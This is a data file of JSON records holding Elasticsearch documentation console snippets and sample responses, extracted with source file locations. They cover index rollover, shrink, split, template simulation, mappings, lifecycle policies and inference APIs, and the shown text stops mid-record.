{"source_location":{"file":"indices/rollover-index.asciidoc","line":309},"digest":"0a46cc8fe93e372909660a63dc52ae3b","lang":"console","found":["ruby"],"source":"# PUT \nPUT %3Cmy-index-%7Bnow%2Fd%7D-000001%3E\n{\n \"aliases\": {\n \"my-alias\": {\n \"is_write_index\": true\n }\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":327},"digest":"066e0bdcdfa3b8afa5d1e5777f73fccb","lang":"console","found":["ruby"],"source":"POST my-alias/_rollover\n{\n \"conditions\": {\n \"max_age\": \"7d\",\n \"max_docs\": 1000,\n \"max_primary_shard_size\": \"50gb\",\n \"max_primary_shard_docs\": \"2000\"\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":345},"digest":"6ed0ad0ee8f3e53b4218915ebf5526d4","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"shards_acknowledged\": true,\n \"old_index\": \"my-index-2099.05.06-000001\",\n \"new_index\": \"my-index-2099.05.07-000002\",\n \"rolled_over\": true,\n \"dry_run\": false,\n \"lazy\": false,\n \"conditions\": {\n \"[max_age: 7d]\": false,\n \"[max_docs: 1000]\": true,\n \"[max_primary_shard_size: 50gb]\": false,\n \"[max_primary_shard_docs: 2000]\": false\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":369},"digest":"b1ee1b0b5f7af596e5f81743cfd3755f","lang":"console","found":["ruby"],"source":"# GET /,,/_search\nGET /%3Cmy-index-%7Bnow%2Fd%7D-*%3E%2C%3Cmy-index-%7Bnow%2Fd-1d%7D-*%3E%2C%3Cmy-index-%7Bnow%2Fd-2d%7D-*%3E/_search"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":380},"digest":"83b94f9e7b3a9abca8e165ea56927714","lang":"console","found":["ruby"],"source":"# PUT \nPUT %3Cmy-index-%7Bnow%2Fd%7D-000001%3E\n{\n \"aliases\": {\n \"my-write-alias\": { }\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":399},"digest":"950f1230536422567f99a205ff4165ec","lang":"console","found":["ruby"],"source":"POST my-write-alias/_rollover\n{\n \"conditions\": {\n \"max_age\": \"7d\",\n \"max_docs\": 1000,\n \"max_primary_shard_size\": \"50gb\",\n \"max_primary_shard_docs\": \"2000\"\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":417},"digest":"6ed0ad0ee8f3e53b4218915ebf5526d4","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"shards_acknowledged\": true,\n \"old_index\": \"my-index-2099.05.06-000001\",\n \"new_index\": \"my-index-2099.05.07-000002\",\n \"rolled_over\": true,\n \"dry_run\": false,\n \"lazy\": false,\n \"conditions\": {\n \"[max_age: 7d]\": false,\n \"[max_docs: 1000]\": true,\n \"[max_primary_shard_size: 50gb]\": false,\n \"[max_primary_shard_docs: 2000]\": false\n }\n}"}, {"source_location":{"file":"indices/rollover-index.asciidoc","line":445},"digest":"55096381f811388fafd8e244dd2402c8","lang":"console","found":["ruby"],"source":"POST my-alias/_rollover\n{\n \"settings\": {\n \"index.number_of_shards\": 2\n }\n}"}, {"source_location":{"file":"indices/shrink-index.asciidoc","line":11},"digest":"3c6abb9885cb1a997fcdd16f7fa4f673","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_shrink/shrunk-my-index-000001"}, {"source_location":{"file":"indices/shrink-index.asciidoc","line":46},"digest":"52a2d119addb15366a935115518335fd","lang":"console","found":[],"source":"PUT /my_source_index/_settings\n{\n \"settings\": {\n \"index.number_of_replicas\": 0, <1>\n \"index.routing.allocation.require._name\": \"shrink_node_name\" <2>\n }\n}"}, {"source_location":{"file":"indices/shrink-index.asciidoc","line":70},"digest":"89d2a3748dc14c6d5d4c6f94b9b03938","lang":"console","found":[],"source":"PUT /my_source_index/_block/write"}, {"source_location":{"file":"indices/shrink-index.asciidoc","line":119},"digest":"f3594de7ef39ab09b0bb12c1e76bfe6b","lang":"console","found":["ruby"],"source":"POST /my_source_index/_shrink/my_target_index\n{\n \"settings\": {\n \"index.routing.allocation.require._name\": null, <1>\n \"index.blocks.write\": null <2>\n }\n}"}, {"source_location":{"file":"indices/shrink-index.asciidoc","line":162},"digest":"76c167d8ab305cb43b594f140c902dfe","lang":"console","found":["ruby"],"source":"POST /my_source_index/_shrink/my_target_index\n{\n \"settings\": {\n \"index.number_of_replicas\": 1,\n \"index.number_of_shards\": 1, <1>\n \"index.codec\": \"best_compression\" <2>\n },\n \"aliases\": {\n \"my_search_indices\": {}\n }\n}"}, {"source_location":{"file":"indices/simulate-index.asciidoc","line":33},"digest":"caaafef1a76c2bec677704c2dc233218","lang":"console","found":[],"source":"POST /_index_template/_simulate_index/my-index-000001"}, {"source_location":{"file":"indices/simulate-index.asciidoc","line":145},"digest":"d01d309b0257d6fbca6d0941adeb3256","lang":"console","found":["ruby"],"source":"PUT /_component_template/ct1 <1>\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_shards\": 2\n }\n }\n}\n\nPUT /_component_template/ct2 <2>\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_replicas\": 0\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n }\n}\n\nPUT /_index_template/final-template <3>\n{\n \"index_patterns\": [\"my-index-*\"],\n \"composed_of\": [\"ct1\", \"ct2\"],\n \"priority\": 5\n}\n\nPOST /_index_template/_simulate_index/my-index-000001 <4>"}, {"source_location":{"file":"indices/simulate-index.asciidoc","line":188},"digest":"12dacfa19779969981eb8a679dcfb6d3","lang":"console-result","found":[],"source":"{\n \"template\" : {\n \"settings\" : {\n \"index\" : {\n \"number_of_shards\" : \"2\",\n \"number_of_replicas\" : \"0\",\n \"routing\" : {\n \"allocation\" : {\n \"include\" : {\n \"_tier_preference\" : \"data_content\"\n }\n }\n }\n }\n },\n \"mappings\" : {\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\"\n }\n }\n },\n \"aliases\" : { }\n },\n \"overlapping\" : [\n {\n \"name\" : \"template_1\",\n \"index_patterns\" : [\n \"my-index-*\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"indices/simulate-template.asciidoc","line":55},"digest":"0f7aa40ad26d59a9268630b980a3d594","lang":"console","found":[],"source":"POST /_index_template/_simulate/template_1"}, {"source_location":{"file":"indices/simulate-template.asciidoc","line":151},"digest":"3c7621a81fa982b79f040a6d2611530e","lang":"console","found":["ruby"],"source":"PUT /_component_template/ct1 <1>\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_shards\": 2\n }\n }\n}\n\nPUT /_component_template/ct2 <2>\n{\n \"template\": {\n \"settings\": {\n \"index.number_of_replicas\": 0\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n }\n}\n\nPUT /_index_template/final-template <3>\n{\n \"index_patterns\": [\"my-index-*\"],\n \"composed_of\": [\"ct1\", \"ct2\"],\n \"priority\": 5\n}\n\nPOST /_index_template/_simulate/final-template <4>"}, {"source_location":{"file":"indices/simulate-template.asciidoc","line":194},"digest":"ceb8689343501db5e946d25db0db1d2b","lang":"console-result","found":[],"source":"{\n \"template\" : {\n \"settings\" : {\n \"index\" : {\n \"number_of_shards\" : \"2\", <1>\n \"number_of_replicas\" : \"0\", <2>\n \"routing\" : {\n \"allocation\" : {\n \"include\" : {\n \"_tier_preference\" : \"data_content\"\n }\n }\n }\n }\n },\n \"mappings\" : { <3>\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\"\n }\n }\n },\n \"aliases\" : { }\n },\n \"overlapping\" : [ ]\n}"}, {"source_location":{"file":"indices/simulate-template.asciidoc","line":235},"digest":"9feff356f302ea4915347ab71cc4887a","lang":"console","found":["ruby"],"source":"POST /_index_template/_simulate\n{\n \"index_patterns\": [\"my-index-*\"],\n \"composed_of\": [\"ct2\"],\n \"priority\": 10,\n \"template\": {\n \"settings\": {\n \"index.number_of_replicas\": 1\n }\n }\n}"}, {"source_location":{"file":"indices/simulate-template.asciidoc","line":253},"digest":"2b06332affcb6458cbafb44b28d8f9ec","lang":"console-result","found":[],"source":"{\n \"template\" : {\n \"settings\" : {\n \"index\" : {\n \"number_of_replicas\" : \"1\",\n \"routing\" : {\n \"allocation\" : {\n \"include\" : {\n \"_tier_preference\" : \"data_content\"\n }\n }\n }\n }\n },\n \"mappings\" : {\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\"\n }\n }\n },\n \"aliases\" : { }\n },\n \"overlapping\" : [\n {\n \"name\" : \"final-template\",\n \"index_patterns\" : [\n \"my-index-*\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"indices/split-index.asciidoc","line":10},"digest":"cafed0e2c2b1d1574eb4a5ecd514a97a","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_split/split-my-index-000001\n{\n \"settings\": {\n \"index.number_of_shards\": 2\n }\n}"}, {"source_location":{"file":"indices/split-index.asciidoc","line":44},"digest":"89d2a3748dc14c6d5d4c6f94b9b03938","lang":"console","found":[],"source":"PUT /my_source_index/_block/write"}, {"source_location":{"file":"indices/split-index.asciidoc","line":84},"digest":"ebb1c7554e91adb4552599f3e5de1865","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"index\": {\n \"number_of_routing_shards\": 30\n }\n }\n}"}, {"source_location":{"file":"indices/split-index.asciidoc","line":169},"digest":"2e796e5ca59768d4426abbf9a049db3e","lang":"console","found":["ruby"],"source":"POST /my_source_index/_split/my_target_index\n{\n \"settings\": {\n \"index.number_of_shards\": 2\n }\n}"}, {"source_location":{"file":"indices/split-index.asciidoc","line":203},"digest":"f2f1cae094855a45fd8f73478bec8e70","lang":"console","found":["ruby"],"source":"POST /my_source_index/_split/my_target_index\n{\n \"settings\": {\n \"index.number_of_shards\": 5 <1>\n },\n \"aliases\": {\n \"my_search_indices\": {}\n }\n}"}, {"source_location":{"file":"indices/apis/unfreeze.asciidoc","line":51},"digest":"31bc93e429ad0de11dd2dd231e8f2c5e","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_unfreeze"}, {"source_location":{"file":"indices/update-settings.asciidoc","line":13},"digest":"ea5391267ced860c00214c096e08c8d4","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"number_of_replicas\" : 2\n }\n}"}, {"source_location":{"file":"indices/update-settings.asciidoc","line":91},"digest":"7cd3d8388c51a9f6ee3f730cdaddbb89","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"refresh_interval\" : null\n }\n}"}, {"source_location":{"file":"indices/update-settings.asciidoc","line":115},"digest":"f4f557716049b23f8840d58d71e748f0","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"refresh_interval\" : \"-1\"\n }\n}"}, {"source_location":{"file":"indices/update-settings.asciidoc","line":132},"digest":"178c920d5e8ec0071f77290fa059802c","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"refresh_interval\" : \"1s\"\n }\n}"}, {"source_location":{"file":"indices/update-settings.asciidoc","line":145},"digest":"dbc50b8c934171e94604575a8b36f349","lang":"console","found":["python","ruby"],"source":"POST /my-index-000001/_forcemerge?max_num_segments=5"}, {"source_location":{"file":"indices/update-settings.asciidoc","line":181},"digest":"c0ebaa33e750b87555dc352073f692e8","lang":"console","found":["python","ruby"],"source":"POST /my-index-000001/_close\n\nPUT /my-index-000001/_settings\n{\n \"analysis\" : {\n \"analyzer\":{\n \"content\":{\n \"type\":\"custom\",\n \"tokenizer\":\"whitespace\"\n }\n }\n }\n}\n\nPOST /my-index-000001/_open"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":13},"digest":"56a1aa4f7fa62f2289e20607e3039bf3","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001/_mapping\n{\n \"properties\": {\n \"email\": {\n \"type\": \"keyword\"\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":100},"digest":"12433d2b637d002e8d5c9a1adce69d3b","lang":"console","found":["php","python","ruby","go","js"],"source":"PUT /publications"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":108},"digest":"e4be53736bcc02b03068fd72fdbfe271","lang":"console","found":["php","python","ruby","go","js"],"source":"PUT /publications/_mapping\n{\n \"properties\": {\n \"title\": { \"type\": \"text\"}\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":125},"digest":"30f3e3b9df46afd12e68bc71f18483b4","lang":"console","found":["python","ruby"],"source":"# Create the two indices\nPUT /my-index-000001\nPUT /my-index-000002\n\n# Update both mappings\nPUT /my-index-000001,my-index-000002/_mapping\n{\n \"properties\": {\n \"user\": {\n \"properties\": {\n \"name\": {\n \"type\": \"keyword\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":156},"digest":"a692b4c0ca7825c467880b346841f5a5","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"name\": {\n \"properties\": {\n \"first\": {\n \"type\": \"text\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":177},"digest":"0246f73cc2ed3dfec577119e8cd15404","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001/_mapping\n{\n \"properties\": {\n \"name\": {\n \"properties\": {\n \"last\": {\n \"type\": \"text\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":212},"digest":"a5f9eb40087921e67d820775acf71522","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"city\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":232},"digest":"e821d27a8b810821707ba860e31f8b78","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001/_mapping\n{\n \"properties\": {\n \"city\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\": {\n \"type\": \"keyword\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":265},"digest":"5f1ed9cfdc149763b444acfbe10b0e16","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"user_id\": {\n \"type\": \"keyword\",\n \"ignore_above\": 20\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":282},"digest":"d7fe687201ac87b307cd06ed015dd317","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001/_mapping\n{\n \"properties\": {\n \"user_id\": {\n \"type\": \"keyword\",\n \"ignore_above\": 100\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":321},"digest":"c6bdd5c7de79d6d9ac8e33a397b511e8","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001\n{\n \"mappings\" : {\n \"properties\": {\n \"user_id\": {\n \"type\": \"long\"\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":339},"digest":"50b5c0332949d2154c72b629b5fa6222","lang":"console","found":["python","ruby"],"source":"POST /my-index-000001/_doc?refresh=wait_for\n{\n \"user_id\" : 12345\n}\n\nPOST /my-index-000001/_doc?refresh=wait_for\n{\n \"user_id\" : 12346\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":358},"digest":"cdb68b3f565df7c85e52a55864b37d40","lang":"console","found":["python","ruby"],"source":"PUT /my-new-index-000001\n{\n \"mappings\" : {\n \"properties\": {\n \"user_id\": {\n \"type\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":377},"digest":"c526fca1609b4c3c1d12dfd218d69a50","lang":"console","found":["python","ruby"],"source":"POST /_reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\"\n },\n \"dest\": {\n \"index\": \"my-new-index-000001\"\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":405},"digest":"beb0b9ff4f68672273fcff1b7bae706b","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"user_identifier\": {\n \"type\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"indices/put-mapping.asciidoc","line":422},"digest":"a72613de3774571ba24def4b495161b5","lang":"console","found":["python","ruby","go"],"source":"PUT /my-index-000001/_mapping\n{\n \"properties\": {\n \"user_id\": {\n \"type\": \"alias\",\n \"path\": \"user_identifier\"\n }\n }\n}"}, {"source_location":{"file":"ilm/apis/put-lifecycle.asciidoc","line":60},"digest":"cba3462a307e2483c14e3e198f6960e3","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"_meta\": {\n \"description\": \"used for nginx log\",\n \"project\": {\n \"name\": \"myProject\",\n \"department\": \"myDepartment\"\n }\n },\n \"phases\": {\n \"warm\": {\n \"min_age\": \"10d\",\n \"actions\": {\n \"forcemerge\": {\n \"max_num_segments\": 1\n }\n }\n },\n \"delete\": {\n \"min_age\": \"30d\",\n \"actions\": {\n \"delete\": {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/apis/put-lifecycle.asciidoc","line":94},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ilm/apis/get-lifecycle.asciidoc","line":76},"digest":"2e7f4b9be999422a12abb680572b13c8","lang":"console","found":["ruby"],"source":"GET _ilm/policy/my_policy"}, {"source_location":{"file":"ilm/apis/get-lifecycle.asciidoc","line":85},"digest":"f362fb396fa4c561289de3d54c76637a","lang":"console-result","found":[],"source":"{\n \"my_policy\": {\n \"version\": 1, <1>\n \"modified_date\": 82392349, <2>\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"min_age\": \"10d\",\n \"actions\": {\n \"forcemerge\": {\n \"max_num_segments\": 1\n }\n }\n },\n \"delete\": {\n \"min_age\": \"30d\",\n \"actions\": {\n \"delete\": {\n \"delete_searchable_snapshot\": true\n }\n }\n }\n }\n },\n \"in_use_by\" : { <3>\n \"indices\" : [],\n \"data_streams\" : [],\n \"composable_templates\" : []\n }\n }\n}"}, {"source_location":{"file":"ilm/apis/delete-lifecycle.asciidoc","line":76},"digest":"af517b6936fa41d124d68b107b2efdc3","lang":"console","found":["ruby"],"source":"DELETE _ilm/policy/my_policy"}, {"source_location":{"file":"ilm/apis/delete-lifecycle.asciidoc","line":84},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ilm/apis/move-to-step.asciidoc","line":150},"digest":"a45605347d6438e7aecdf3b37198616d","lang":"console","found":[],"source":"POST _ilm/move/my-index-000001\n{\n \"current_step\": { <1>\n \"phase\": \"new\",\n \"action\": \"complete\",\n \"name\": \"complete\"\n },\n \"next_step\": { <2>\n \"phase\": \"warm\",\n \"action\": \"forcemerge\", <3>\n \"name\": \"forcemerge\" <4>\n }\n}"}, {"source_location":{"file":"ilm/apis/move-to-step.asciidoc","line":174},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ilm/apis/move-to-step.asciidoc","line":188},"digest":"46064e81620162a23e75002a7eeb8b10","lang":"console","found":[],"source":"POST _ilm/move/my-index-000001\n{\n \"current_step\": {\n \"phase\": \"hot\",\n \"action\": \"complete\",\n \"name\": \"complete\"\n },\n \"next_step\": {\n \"phase\": \"warm\"\n }\n}"}, {"source_location":{"file":"ilm/apis/remove-policy-from-index.asciidoc","line":87},"digest":"2720e613d520ce352b62e990c2d283f7","lang":"console","found":["ruby"],"source":"POST my-index-000001/_ilm/remove"}, {"source_location":{"file":"ilm/apis/remove-policy-from-index.asciidoc","line":95},"digest":"7464040de4facd0800a50d9488d41808","lang":"console-result","found":[],"source":"{\n \"has_failures\" : false,\n \"failed_indexes\" : []\n}"}, {"source_location":{"file":"ilm/apis/get-status.asciidoc","line":60},"digest":"182df084f028479ecbe8d7648ddad892","lang":"console","found":["ruby"],"source":"GET _ilm/status"}, {"source_location":{"file":"ilm/apis/get-status.asciidoc","line":67},"digest":"99e0bec31e49636bc0053ac66bc29352","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"RUNNING\"\n}"}, {"source_location":{"file":"ilm/apis/explain.asciidoc","line":100},"digest":"d14fe5838fc02224f4b5ade2626d6026","lang":"console","found":[],"source":"GET my-index-000001/_ilm/explain?human"}, {"source_location":{"file":"ilm/apis/explain.asciidoc","line":109},"digest":"7ff336bca5b37780ce95b1094ba54e72","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \"my-index-000001\": {\n \"index\": \"my-index-000001\",\n \"index_creation_date_millis\": 1538475653281, <1>\n \"index_creation_date\": \"2018-10-15T13:45:21.981Z\",\n \"time_since_index_creation\": \"15s\", <2>\n \"managed\": true, <3>\n \"policy\": \"my_policy\", <4>\n \"lifecycle_date_millis\": 1538475653281, <5>\n \"lifecycle_date\": \"2018-10-15T13:45:21.981Z\",\n \"age\": \"15s\", <6>\n \"phase\": \"new\",\n \"phase_time_millis\": 1538475653317, <7>\n \"phase_time\": \"2018-10-15T13:45:22.577Z\",\n \"action\": \"complete\"\n \"action_time_millis\": 1538475653317, <8>\n \"action_time\": \"2018-10-15T13:45:22.577Z\",\n \"step\": \"complete\",\n \"step_time_millis\": 1538475653317, <9>\n \"step_time\": \"2018-10-15T13:45:22.577Z\"\n }\n }\n}"}, {"source_location":{"file":"ilm/apis/explain.asciidoc","line":156},"digest":"0951ec38ced25379b224149290b41d2e","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \"test-000069\": {\n \"index\": \"test-000069\",\n \"index_creation_date_millis\": 1538475653281,\n \"time_since_index_creation\": \"25.14s\",\n \"managed\": true,\n \"policy\": \"my_lifecycle3\",\n \"lifecycle_date_millis\": 1538475653281,\n \"lifecycle_date\": \"2018-10-15T13:45:21.981Z\",\n \"age\": \"25.14s\",\n \"phase\": \"hot\",\n \"phase_time_millis\": 1538475653317,\n \"phase_time\": \"2018-10-15T13:45:22.577Z\",\n \"action\": \"rollover\",\n \"action_time_millis\": 1538475653317,\n \"action_time\": \"2018-10-15T13:45:22.577Z\",\n \"step\": \"attempt-rollover\",\n \"step_time_millis\": 1538475653317,\n \"step_time\": \"2018-10-15T13:45:22.577Z\",\n \"phase_execution\": {\n \"policy\": \"my_lifecycle3\",\n \"phase_definition\": { <1>\n \"min_age\": \"0ms\",\n \"actions\": {\n \"rollover\": {\n \"max_age\": \"30s\",\n \"max_primary_shard_docs\": 200000000, <2>\n \"min_docs\": 1\n }\n }\n },\n \"version\": 3, <3>\n \"modified_date\": \"2018-10-15T13:21:41.576Z\", <4>\n \"modified_date_in_millis\": 1539609701576 <5>\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/apis/explain.asciidoc","line":210},"digest":"82d017ac4d193217000d9c88545f8139","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \"test-000020\": {\n \"index\": \"test-000020\",\n \"index_creation_date_millis\": 1538475653281,\n \"time_since_index_creation\": \"4.12m\",\n \"managed\": true,\n \"policy\": \"my_lifecycle3\",\n \"lifecycle_date_millis\": 1538475653281,\n \"lifecycle_date\": \"2018-10-15T13:45:21.981Z\",\n \"age\": \"4.12m\",\n \"phase\": \"warm\",\n \"phase_time_millis\": 1538475653317,\n \"phase_time\": \"2018-10-15T13:45:22.577Z\",\n \"action\": \"allocate\",\n \"action_time_millis\": 1538475653317,\n \"action_time\": \"2018-10-15T13:45:22.577Z\",\n \"step\": \"check-allocation\",\n \"step_time_millis\": 1538475653317,\n \"step_time\": \"2018-10-15T13:45:22.577Z\",\n \"step_info\": { <1>\n \"message\": \"Waiting for all shard copies to be active\",\n \"shards_left_to_allocate\": -1,\n \"all_shards_active\": false,\n \"number_of_replicas\": 2\n },\n \"phase_execution\": {\n \"policy\": \"my_lifecycle3\",\n \"phase_definition\": {\n \"min_age\": \"0ms\",\n \"actions\": {\n \"allocate\": {\n \"number_of_replicas\": 2,\n \"include\": {\n \"box_type\": \"warm\"\n },\n \"exclude\": {},\n \"require\": {}\n },\n \"forcemerge\": {\n \"max_num_segments\": 1\n }\n }\n },\n \"version\": 2,\n \"modified_date\": \"2018-10-15T13:20:02.489Z\",\n \"modified_date_in_millis\": 1539609602489\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/apis/explain.asciidoc","line":276},"digest":"ddb5ea925abcf456517676246a53c85f","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \"test-000056\": {\n \"index\": \"test-000056\",\n \"index_creation_date_millis\": 1538475653281,\n \"time_since_index_creation\": \"50.1d\",\n \"managed\": true,\n \"policy\": \"my_lifecycle3\",\n \"lifecycle_date_millis\": 1538475653281,\n \"lifecycle_date\": \"2018-10-15T13:45:21.981Z\",\n \"age\": \"50.1d\",\n \"phase\": \"hot\",\n \"phase_time_millis\": 1538475653317,\n \"phase_time\": \"2018-10-15T13:45:22.577Z\",\n \"action\": \"rollover\",\n \"action_time_millis\": 1538475653317,\n \"action_time\": \"2018-10-15T13:45:22.577Z\",\n \"step\": \"ERROR\",\n \"step_time_millis\": 1538475653317,\n \"step_time\": \"2018-10-15T13:45:22.577Z\",\n \"failed_step\": \"check-rollover-ready\", <1>\n \"is_auto_retryable_error\": true, <2>\n \"failed_step_retry_count\": 1, <3>\n \"step_info\": { <4>\n \"type\": \"cluster_block_exception\",\n \"reason\": \"index [test-000057/H7lF9n36Rzqa-KfKcnGQMg] blocked by: [FORBIDDEN/5/index read-only (api)\",\n \"index_uuid\": \"H7lF9n36Rzqa-KfKcnGQMg\",\n \"index\": \"test-000057\"\n },\n \"phase_execution\": {\n \"policy\": \"my_lifecycle3\",\n \"phase_definition\": {\n \"min_age\": \"0ms\",\n \"actions\": {\n \"rollover\": {\n \"max_age\": \"30s\"\n }\n }\n },\n \"version\": 3,\n \"modified_date\": \"2018-10-15T13:21:41.576Z\",\n \"modified_date_in_millis\": 1539609701576\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/apis/start.asciidoc","line":75},"digest":"72ae3851160fcf02b8e2cdfd4e57d238","lang":"console","found":["ruby"],"source":"POST _ilm/start"}, {"source_location":{"file":"ilm/apis/start.asciidoc","line":83},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ilm/apis/stop.asciidoc","line":79},"digest":"585a34ad79aee16678b37da785933ac8","lang":"console","found":["ruby"],"source":"POST _ilm/stop"}, {"source_location":{"file":"ilm/apis/stop.asciidoc","line":87},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ilm/apis/migrate-to-data-tiers.asciidoc","line":154},"digest":"0eae571e9e1c40a40cb4b1c9530a8987","lang":"console","found":["ruby"],"source":"POST /_ilm/migrate_to_data_tiers\n{\n \"legacy_template_to_delete\": \"global-template\",\n \"node_attribute\": \"custom_attribute_name\"\n}"}, {"source_location":{"file":"ilm/apis/migrate-to-data-tiers.asciidoc","line":165},"digest":"d90abf19f59821ce7f5ea41bc305e6c9","lang":"console-result","found":[],"source":"{\n \"dry_run\": false,\n \"removed_legacy_template\":\"global-template\", <1>\n \"migrated_ilm_policies\":[\"policy_with_allocate_action\"], <2>\n \"migrated_indices\":[\"warm-index-to-migrate-000001\"], <3>\n \"migrated_legacy_templates\":[\"a-legacy-template\"], <4>\n \"migrated_composable_templates\":[\"a-composable-template\"], <5>\n \"migrated_component_templates\":[\"a-component-template\"] <6>\n}"}, {"source_location":{"file":"inference/delete-inference.asciidoc","line":55},"digest":"4e3414fc712b16311f9e433dd366f49d","lang":"console","found":["python","ruby"],"source":"DELETE /_inference/sparse_embedding/my-elser-model"}, {"source_location":{"file":"inference/delete-inference.asciidoc","line":64},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"inference/get-inference.asciidoc","line":71},"digest":"a4a3c3cd09efa75168dab90105afb2e9","lang":"console","found":["python","ruby"],"source":"GET _inference/sparse_embedding/my-elser-model"}, {"source_location":{"file":"inference/get-inference.asciidoc","line":80},"digest":"85eb7282ac0193478132d3de11f3ffec","lang":"console-result","found":[],"source":"{\n \"inference_id\": \"my-elser-model\",\n \"task_type\": \"sparse_embedding\",\n \"service\": \"elser\",\n \"service_settings\": {\n \"num_allocations\": 1,\n \"num_threads\": 1\n },\n \"task_settings\": {}\n}"}, {"source_location":{"file":"inference/post-inference.asciidoc","line":102},"digest":"b45a8c6fc746e9c90fd181e69a605fad","lang":"console","found":[],"source":"POST _inference/completion/openai_chat_completions\n{\n \"input\": \"What is Elastic?\"\n}"}, {"source_location":{"file":"inference/post-inference.asciidoc","line":115},"digest":"945f4be1f88ca2eb5b55e6001332abc1","lang":"console-result","found":[],"source":"{\n \"completion\": [\n {\n \"result\": \"Elastic is a company that provides a range of software solutions for search, logging, security, and analytics. Their flagship product is Elasticsearch, an open-source, distributed search engine that allows users to search, analyze, and visualize large volumes of data in real-time. Elastic also offers products such as Kibana, a data visualization tool, and Logstash, a log management and pipeline tool, as well as various other tools and solutions for data analysis and management.\"\n }\n ]\n}"}, {"source_location":{"file":"inference/post-inference.asciidoc","line":133},"digest":"f1b24217b1d9ba6ea5e4fa6e6f412022","lang":"console","found":[],"source":"POST 